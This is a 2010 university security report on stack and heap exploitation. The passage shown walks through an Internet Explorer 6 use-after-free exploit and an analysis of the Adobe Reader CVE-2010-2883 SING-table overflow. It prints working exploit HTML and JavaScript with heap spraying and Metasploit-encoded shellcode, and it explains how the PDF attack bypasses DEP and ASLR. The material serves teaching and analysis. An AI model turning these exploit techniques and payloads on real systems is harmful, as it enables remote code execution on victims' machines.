Smashing the stack in 2010 - Mariano Graziano

0 downloads 150 Views 2MB Size Report
Sep 6, 2010 - II Hands on Linux. 22. 2 Setup Testbed environment. 22. 3 Linux buffer overflow 101. 23. 3.1 How to change
Smashing the stack in 2010 Report for the Computer Security exam at the Politecnico di Torino

Andrea Cugliari (167122) - Linux Part Mariano Graziano (168594) - Windows Part tutor: Giovanni Cabiddu

September 2010

1

Abstract Computer security nowadayas is an issue that has a strong impact in all the ICT world. For instance, let us just think that the number of threats discovered in 2009 is about 30-35M, having an exponential increase with respect to previous years (according to an estimation of Kaspersky Labs over its users 1 . However, the aspect that will be discussed in this document is related to a particular type of vulnerabilities called Buffer Overflows. In detail, what will be investigated is the behavior of Buffer Overflow in modern Linux and Windows architectures, taking up the work that AlephOne did in his famous paper, and try to refashion it to the present, considering also for example, all the protections that the software companies have introduced into their products in order to counter the Buffer Overflow phenomenon. In fact, the issues that AlephOne analyzed in the far 1996 are very different from what a researcher that nowadays wants to retrace his footsteps would find: however, a lot has been done in order to mitigate this problem but this is absolutely not enough. First of all we are going to analyze all the basical theoretical aspects behind the concept of Buffer Overflows: in this way words as pointers, opcodes, shellcodes will be less mysterious and can help the reader to understand the content of this work. Subsequently the paper will analyze in detail all the aspects and mechanisms that regulate the way in which Buffer Overflow works on Linux and Windows architectures taking with particular care also the countermeasures introduced until nowadays for both the mentioned operating systems. In addition, for some of them we are going also to try some tricks to bypass these protections, in order to exploit the vulnerability even if a countermeasure has been adopted in the modern operating systems.

1

http://www.kaspersky.com/it/reading_room?chapter=207716871

2

Contents I

Introduction and Theoretical Background

1 Theoretical Background

II

5 5

1.1

Processes and memory layout in x86 . . . . . . . . . . . . . . . . . . . . . . . .

5

1.2

Registers, Pointers and Assembler . . . . . . . . . . . . . . . . . . . . . . . . . .

5

1.3

Stack layout in x86 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

8

1.4

Function call and termination . . . . . . . . . . . . . . . . . . . . . . . . . . . .

9

1.5

Buffer Overflow issue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

1.6

Shellcodes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

Hands on Linux

22

2 Setup Testbed environment

22

3 Linux buffer overflow 101

23

3.1

How to change the flow of execution . . . . . . . . . . . . . . . . . . . . . . . . . 23

3.2

How to spawn a Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28

3.3

Polite exit from a process: exit system call . . . . . . . . . . . . . . . . . . . . . 31

3.4

Write an exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

4 Protections against buffer overflow

36

4.1

Programmers protections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

4.2

System default protections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

4.3

4.2.1

Address Space Layout Randomization (ASLR) . . . . . . . . . . . . . . . 37

4.2.2

Stack Execute Invalidation (NX bit) . . . . . . . . . . . . . . . . . . . . 40

Compiler and linker protections . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 4.3.1

StackShield (Optional) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

4.3.2

StackGuard (Optional) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

4.3.3

Stack Smashing Protector - ProPolice (Default installed) . . . . . . . . . 44

4.3.4

Run time checks

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45

4.4

Protections in a practical scenario . . . . . . . . . . . . . . . . . . . . . . . . . . 46

4.5

Combined Tricks in a future scenario . . . . . . . . . . . . . . . . . . . . . . . . 46

3

III

Hands on Windows

48

5 Setup Testbed environment

48

6 Windows buffer overflow 101

49

6.1

How to change the flow of execution . . . . . . . . . . . . . . . . . . . . . . . . . 49

6.2

How to spawn a shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53

6.3

ExitProcess system call . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57

6.4

Write an exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60

7 Protections against buffer overflow

64

7.1

Buffer Security Check - /GS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64

7.2

/SafeSEH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66 7.2.1

7.3

Address Space Layout Randomization (ASLR) . . . . . . . . . . . . . . . . . . . 68 7.3.1

7.4

/GS & /SafeSEH possible tricks . . . . . . . . . . . . . . . . . . . . . . . 67

Address Space Layout Randomization (ASLR) possible tricks . . . . . . 69

> Now line by line the meaning of each instruction in that HTML and Javascript code will be described. Once the browser opens the page, it executes the global code in the Javascript: var v1 = new Array(); for (i = 0; i < 200; i++) { v1[i] = document.createElement("COMMENT"); v1[i].> in our case a SPAN tag contains an IMG tag and from the webserver “abcd.gif” image is loaded and once loaded the Remove function is called due to onload handler. Looking at this function: function Remove(Value1) { e1 = document.createEventObject(Value1); document.getElementById("SpanID").innerHTML = ""; window.setInterval(Overwrite, 50); } banally this code creates an object called e1 associated to the one passed through the onload handler, the only parameter of Remove( ). Then the property innerHTML of SPAN tag is used, let us see this interesting property: it can replace a chunk of HTML in a loaded page with another block of code, in other words you can change text, replace text with an image etc. In this special case setting innerHTML to a null value we are basically removing the IMG tag and hence is no longer available. This is the cool part in fact we have freed the heap memory belonging to e1 and thus the free part of the use-after-free is done. Then in the last line we set a timer, it means Remove( ) will call Overwrite( ) every 50 milliseconds. Now it is time to jump to Overwrite function: function Overwrite() { buffer = "\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA 80

\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA \uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA \uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA \uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA \uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA \uAAAA\uAAAA"; for (i = 0; i < v1.length; i++) v1[i].data = buffer; var a = e1.srcElement; } in this function we fill a variable called buffer with “AAAA” in order to understand the possible exception that can arise running the script. As you can see we simply change the 200 COMMENT elements in their .data field. The reason behind this choice is quite obvious in fact this function has to overwrite something, in our specific case we want to overwrite the heap memory of the IMG object. Keep in mind that previously we have deallocated this object using the property .innetHTML to null, thus that chunk of memory is now available and in particular the system will reuse it once again. Banally we have overwritten the memory of the delated object using data we want. In the last line of this function we use .srcElement, it contains the element that called the event in the first place, but unfortunately in our case that element (e1 ) has been delated, in fact the heap region has been properly overwritten and now we can figure out why the browser will crash. In this web page we have understood all the concepts behind the word “use-after-free” vulnerability, in fact let us summarize: • free: it is done using .innerHTML • use: performed by .srcElement Now it is time to analyze what happens when the victim’s browser will open the crafted page, we wait for an exception but to better understand the situation in detail we attach to Internet Explorer 6 OllyDbg. Visiting the address hosting the malicious page, we obtain:

Figure 41: Visiting crash.html From the debugger it is clear that the problem is within mshtml.dll, in ECX register we have “AAAAAAAA”, now let us analyze the instructions crashing the browser: 81

7D502531 8B01 MOV EAX,DWORD PTR DS:[ECX] 7D502533 FF50 34 CALL DWORD PTR DS:[EAX+34] the first one tries to move what is pointed (PTR) by ECX, it means what there is in the address AAAAAAAA for a size of 4 bytes, thus a DWORD, to EAX. It is obvious that the exception arises in this instruction, in fact ECX contains and hence points to an invalid address, needless to say AAAAAAAA leads us to an access violation. If we go one step further, the second instruction is very interesting, let me explain why. Setting a valid address in ECX we have no exception, thus we reach the next instruction strictly related to the previous one. Here we find a CALL, it attempts to call a function located in an address pointed by EAX register plus 34. Looking again the two instructions it is clear we can control the EAX register through the ECX one, in particular we can point to a chunk of memory in which we have previously stored our shellcode and finally we have gained the control of the victim’s system. Exploit We have just seen how to crash Internet Explorer 6, now our goal is to perform a real attack and thus to gain the complete control of our target system. Generally speaking we have to change and add some snippets of code from crash.html, in particular we create a new HTML file called pwn.html based and very similar to it, so let us look to the differences: function HeapSpray() { v2 = new Array(); // windows/exec - 227 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape( ’%u9090%u9090%u82be%u5fa0%u2b4e%udbc9 %ub1cc%ud933%u2474%u58f4%u7031%u0310%u1070%u4283%ubda4%ubebb%uc84d %u3e44%uab8e%udbcd%uf9bf%ua8aa%ucd92%ufcb9%ua51e%u14ec%ucb94%u1b38 %u611d%u121f%u479e%uf89f%uc95c%u0263%u29b1%ucd5d%u28c4%u339a%u7826 %u3873%u6d95%u7cf0%u8f26%u0bd6%uf716%ucb53%u4de3%u1b5d%ud95b%u8315 %u85d7%ub285%ud634%ufdfa%u2d31%ufc88%u7f93%ucf71%u2cdb%ue04c%u2dd1 %uc688%u5809%u35e2%u5bb7%u4431%ue963%ueea4%u49e0%u0f0d%u0f24%u03c6 %u5b81%u0780%u8f14%u33ba%u2e9d%ub26d%u14e5%u9fa9%u35be%u45e8%u4910 %u21ea%uefcd%uc360%u891a%u892a%u1bdd%uf451%u23de%u565a%u12b7%u39d1 %uaac0%u7e30%ue13e%ud619%uacd7%u6bcb%u4eba%uaf26%uccc3%u4fc3%ucc30 %u4aa1%u4a7c%u2659%u3fed%u955d%u6a0e%u783e%uf69d%u1fef%u9c25%u41ef’); var spray = unescape(’%u0c0d’); do { spray += spray; } while( SprayValue.length < 880500 ); for (j = 0; j < 100; j++) v2[j] = spray + shellcode; } First of all we have a new function called HeapSpray( ), let us analyze it line by line. We create a new array called v2, then we store in a variable called shellcode our shellcode generated obviously in Javascript and using Metasploit, in this case it will execute calc.exe. Besides, 82

we have spray in which we save 0c0d. It is a classic heap spraying function thus it fills the memory with bytes that even if executed do not crash the program. Keep in mind that 0c0d translated in machine language acts as OR AL, 0D thus it is totally equivalent to NOP, in fact even if this instruction is repeatedly executed we have no changes, it continues until the flow of execution reaches the shellcode (see how v2[j] has been built). Going on analysis, during the while loop we create spray strings of length equal to 880500 full of 0c0d value. On the other hand in the for loop we build 100 strings in v2 composed by the previous spray with the shellcode appended to the end. Before we go on the analysis let me explain the values used in this function. Basically I use 880500 and 100, in fact with these two values we reach a good compromise between reliability and size of the heap region. In addition we have also to take a look at Remove() and Overwrite(). Let us start from Remove(): function Remove(Value1) { HeapSpray(); e1 = document.createEventObject(Value1); document.getElementById("SpanID").innerHTML = ""; window.setInterval(Overwrite, 50); } As you can see we have added only a call to HeapSpray( ) function. This is very important in fact we have to prepare the heap before the exception arises, in order to properly exploit the “use-after-free” vulnerability. Now let’s jump to function Overwrite( ): function Overwrite() { buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\ u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\ u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\ u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"; for (i = 0; i < Array1.length; i++) v1[i].data = buffer; var t = e1.srcElement; } in this function the value stored by buffer is changed, now it is 0c0d and thus we can really launch the final assault, in fact we can fill the ECX register with 0c0d0c0d that as already said is a valid address stored in the heap and this means that we have overwritten the IMG objects (setting the .data property the script has to store the value in the heap region of memory, in our case the value is 0c0d0c0d again a valid address allocated during the spraying phase). This time the two hot instructions will be correctly exploited: 7D502531 8B01 MOV EAX,DWORD PTR DS:[ECX] 7D502533 FF50 34 CALL DWORD PTR DS:[EAX+34] in fact ECX points to a valid address 0x0c0d0c0d and then the address 0x0c0c0d40 (it derives from 0x0d0c0d0c (it is the value in ECX after the move due to the little endianess) + 0x34) will be called and thus we reach the region in which the heap spray has been performed and our shellcode will be executed. Now you have all elements to understand the attack, so let us visit the pwn.html page and as consequence calc.exe will run on the victim’s system (if you want to improve your knowledge about this attack I suggest you to read [21] and [20]). Game over! 83

10.3

CVE-2010-2883 - Adobe Acrobat Reader, 2010 - Graziano

Introduction Nowadays Portable Document Format (PDF) is a true threat. There are a lot of reasons, in fact it is simple respect to Microsoft file formats such as OLE, it allows us to use inside the document Javascript and Flash, finally it can be read also through a web browser thanks to the adobe plugin. In the last years we have seen a lot of vulnerabilities that afflict the Adobe Reader or other readers and consequently cybercrime world has developed the relative exploits to infect the victim’s systems gaining the control. The idea is simple: an attacker delivers a PDF file and the victim opens it using a buggy reader, but the real question is how an attacker can deliver this kind of file to his victim. We know why crackers use PDF files and in addition we know that the current trend is to exploit client side vulnerabilities instead of facing a well hardened server, then we have to keep in mind attackers exploits the fact that the users has no security awareness. They do not update their softwares, in this way old exploits are still dangerous, they do not know the risk behind a file such as a .pdf or a .doc and thus they are prone to be owned. Only considering all these facts we can really understand how an attacker can deliver the file and how the victim falls into the trap. Generally speaking we have at least three main categories [17]: “mass mailing” that essentially through social engineering tries to convince the final user to open the attachment, “drive-by-downloads” in which the file is silently delivered once a web page has been visited and finally we have the so called “targeted attacks” where the PDF file has to appear a real document containd detailed and personal information. In the following section we analyze a PDF file delivered by a mass mail campaign. Bug On September 6 2010 Mila Parkour aka snowfl0w has received a mail in which the PDF attachment exploits a new critical vulnerability on Adobe Reader [30]. Immediately it is clear that a new 0day is exploited in the wild and it afflicts Acrobat Reader 9.3.4, the current version as well as the most used PDF reader, and the previous ones. All the details have been exposed in the Common Vulnerabilities and Exposures CVE-2010-2883 [13], briefly: “Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.3.4 and earlier allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010.“

Until now Adobe has no released a patch to solve the critical problem, in fact it will be patched in 4 October 2010, thus the bad guys have a very long gap, but fortunately an unofficial patch has been developed by Ramz Afzar [5]. It is not acceptable that Adobe having the source code require twenty days to solve the problem while a private company through binary patching, in fact they do not have the source code, has released a patched version of CoolType.dll. In the next section we are going to see the bug is within this DLL and we will figure out it is a classic stack based buffer overflow, in fact the attacker exploit the unsecure strcat to overflow the stack. Let’s see the protype of strcat: char *strcat(char *dest, const char *src); we see that it is very similar to strcpy, in fact they both do not check the boundaries. Take a look to the following Wikipedia example [55]: char str1[14] = "Hello,"; strcat(str1, " world!"); puts(str1);

84

Obviously it will print on standard output the “Hello, world!”. The idea is very simple. If src (see the protype) is too long respect to dest buffer, it will overwrite the adjacent memory and thus we have a classic stack based buffer overflow. Now it is quite easy to understand how Ramz Afzar has patched the buggy DLL through inline patching, banally converting strcat in the safe version strncat. Strncat is safe because it checks the boundaries, in fact: char *strncat(char *dest, const char *src, size_t n); where n is the maximum number of characters to append. In the next section we will see the bad guys cannot banally overwrite ret or the structured exception handler (SEH) to drive EIP register but they have to control some variable on the stack and we will figure out that this attack is really sophisticated and bypass all the countermeasures introduced in the latest version of Windows sucks as DEP and ASLR. Testbed In order to understand this attack I have used a virtual machine, VirtualBox [29] have run a Windows XP SP2 and Acrobat Reader 9.3.4, it is the latest version. Then I have used Metasploit [35] to create the PDF and I have hosted it in one of my websites and finally I have open it within my browser (Firefox 3.6). On the other hand to perform the PDF analysis and to carefully understand the attack I have used the PDF that Mila have uploaded. In order to uncompress it I have used pdftk [31] while as debugger I have used Immunity Debugger [16]. Obviously the editor is vim [11]! PDF Format We are going to analyze a PDF file, so it is a good idea to learn something about its specifications. Essentially it is composed by the following blocks [6]:

Figure 42: Structure of a PDF file Thus we have a header, body, cross table reference and finally the trailer. Keep in mind that we do not need a fully knowledge of the specifications to analyze a malicious document, thus I will skip the blocks I do not consider important. Let’s start. Header always starts with %PDF and then the version of the PDF language, hence our document begins in this way and it ends with %%EOF characters. Body is meaningful to our analysis, in fact it contains the objects that make up the document. Object looks like: ref# version# obj > (containers ends here) endobj 85

Remember that container can contain other objects. The most important object to really figure out the wickedness of our document is the stream object. Essentially it is an object with an unlimited length and it is a sequence of bytes between the two words: stream and endstream. This particular object sometimes can be difficult to analyze because the data it contains could be compressed. The word Filter tells us whether the stream is in clear or compressed. It has a key which suggests us the method of compression/decompression. Let’s see how it looks like: ref# version# obj > (containers ends here) endobj stream data..... endstream As you can understand at the end the filter is simply a compression method, keep in mind that an attacker can use on the same stream more filters. PDF file supports a lot of compression/decompression method such as FlatDecode, ASCIIHexDecode etc but usually the bad guys implement their own method in this way the analysis is harder. The last important object we will cover in this brief part of theory is the Javascript one. As we are going to see in the next sections the javascript code block starts with /JS or /JavaScript. Javascript is very used by the attackers to trigger the vulnerability or to perform heap spraying. Analysis The idea behind this attack is the following: the victim opens a malicious PDF file, immediately through Javascript heap spraying is performed, then it goes to the page in which the stack based buffer overflow will be triggered and finally the shellcode is executed. First of all we will try to figure out the buffer overflow, then we will exctract the javascript code from the file and briefly we will analyze it. As we already know the problem is within CoolType.dll in which an unsecure stract is called. The problem arises only when a specific font is reached thus we are going to dig into it. Let’s open the file using an editor (I use vim), we see a lot of objects, but if we analyze carefully object by object we discover an intersting FontDescriptor object, see the image below:

Figure 43: FontDescriptor Object with compressed stream 86

It is the object 108 that points to the 109 one as you can see in the figure. Unfortunately object 109 contains a compressed stream, the method this time is FlatDecode. Once we have decompressed using the very useful pdftk [31] we can see:

Figure 44: Decompressed stream Essentially we see the so called SING (Smart IN-dependent Glyphs) table, see the blue box, (as we can read from its specification (see SING Glyphlet Specification) SING is an architecture for handling gaiji, where the term gaiji means characters that are not included in a particular Coded Character Set) we have a weird situation, in fact we have many “A” (look at violet box), eureka! We have understand how the bad guy performs the overflow. Now it is time to debug. Let me explain what I have done and what exactly happen. Firstly I have attached the debugger to Acrobat Reader, then I have run it and set a breakpoint to strcat, finally I have opened the malicious file. See the following image:

Figure 45: Debugging Acrobat Reader 9.3.4 The instructions immediately above the call strcat are very important and essentially they are the two parameters that strcat requires (see orange box in the figure). Let’s dig a bit to better understand these instructions. The first instruction add EAX, 10 set the pointer that contains the address in which the SING table starts to its field uniqueName, this field as we can see in the documentation is an unique name for glyphlet, 27 character string in 7-bit ASCII (nullterminated) and as data type is BYTE[28]. Secondly it is pushed on the stack push EAX, ready to the strcat call. Then the other parameter required for stract is pushed on the stack, it is the fixed size variable and finally the call to the unsecure stract is performed. Now that we have understood what this kind of 0 day does we can go a tep further and launch the attack. Exploit Now it is time to become a bad boy. Fortunately Metasploit has released the module to easily build an exploit. Let’s how to create a malicious pdf using the web gui provided by the framework:

87

Figure 46: Metasploit Web Console As I have already said this is a sophisticated attack in fact it bypasses ASLR and DEP, perform heap spraying and use return oriented programming, obviously exploiting a classic stack based buffer overflow. Let’s try to figure out what happens dividing the problem. Firstly heap spray it is performed to fill the memory with the ROP data plus the shellcode, at this point we should know why the bad guy uses this famous tecnique. Now we are going to analyze the hot topic, in fact we will try to understand how the bad guys bypass the two famous countermeasures introduced in Windows. Let me say before going on that this vulnerability exploited in the wild is much-discussed due to two facts: the SING table parsing vulnerability and the innovative and unpublished tecniques to bypass ASLR and DEP. Now we can proceed. By default AcroRd32.exe is not compiled with /NXCOMPACT flag, thus if a page fault occurs it will be ignored and the code executed, this happens in a normal context (OptIn enabled) on the other hand if a bad guy tries to exploit a paranoid user who has used OptOut the attack will fail. In other words an attacker has to avoid a page fault in this way DEP will not be aware of the critical situation. Attackers have a new weapon to perform this kinds of trick, in fact using return oriented programming they literally avoid the problem explained above. This is possible simply redirecting the flow of execution not in the heap region which has not the execution rights but in one of the loaded DLLs. They can build their gadgets to execute what they want, keep in mind that if they use hardcoded addresses they can have troubles doing the attack, in fact one of the nice features of ASLR is to randomize the base address of the DLLs, thus logically they cannot follow this way. Now they have to face another problem, they have to find a way to bypass ASLR. This is quite simple because an attacker can force the program to load a DLL that obviously do not support ASLR or more banally the program has already loaded a DLL no ASLR compliant, logically in this way they can use tha harcoded addresses, in the case we have studied the reader load a DLL called icucnv36.dll. As you can see it does not support ASLR:

Figure 47: icucnv36.dll no ASLR - CFF Explorer Now we can have the idea of the attack. Bad guys, using the gadgets built from the above DLL create a memory region in which they have the right to execute their instructions, then they copy their shellcode in that region and finally through the buffer overflow they jump on it. Game over! Obviously all the attack is triggered by a javascript within the PDF document. The Javascript code within malicious PDF (evil.pdf) found by Mila Parkour is compressed in 88

an object stream, thus we have to use pdftk to have an understandable version of the script within a decompressed document (clean.pdf), let’s see how: pdftk evil.pdf output clean.pdf uncompress Now opening clean.pdf with an editor and looking for /JS we will find:

Figure 48: Portion of Javascript code within clean.pdf As you can see in the code we have to face a sort of syntax obfuscation, however we are able to figure out the main idea. We can divide this sophisticated attack in different parts: a) find the version of the acrobat reader used b) heap spraying c) jump to a different page (it depends on the reader’s version) d) trigger the attack through the font. Once we have copied the javascript code into a different file we can go on looking at the code. Phase a): if \( app.platform == "WIN" \) { if \( Enchfcuvtwn